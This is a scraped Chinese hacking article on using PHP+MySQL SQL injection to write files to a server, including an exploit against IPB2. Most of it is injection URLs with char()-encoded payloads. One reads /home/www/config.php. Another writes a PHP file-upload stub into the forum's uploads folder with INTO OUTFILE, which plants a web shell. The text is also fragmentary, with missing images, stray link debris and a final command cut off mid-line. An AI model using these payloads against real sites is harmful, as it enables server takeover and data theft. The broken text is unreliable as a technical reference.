PHP+MySQL注入导出文件的新发现(附带IPB2的漏洞利用)
|
本文作者:angel http://www.4ngel.net/ http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47,104,111,109,101,47,119,119,119,47,99,111,110,102,105,103,46,112,104,112) /home/www/config.php char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62) http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62)
之所以看不见,是因为浏览器把"<"和">"之间的东西当成HTML代码解析了,这么说是可行的!这样的好处和插数据,导出文件相比好处在于: 不用插入数据,因此不用考虑数据类型和长度,也不怕做处理。 _blank>http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62) from user into outfile /home/www/ipb2/uploads/upload.php/* 马上查看,如图:
注意:因为我这里说是用char()这个函数写的。所以就用这个来说明了。既然能用单引号就没必要用CHAR函数了写东西了。可以直接这样: _blank>http://localhost/111/show.php?id=1 and 1=2 union select 1,1, 源代码网整理以下 | ||


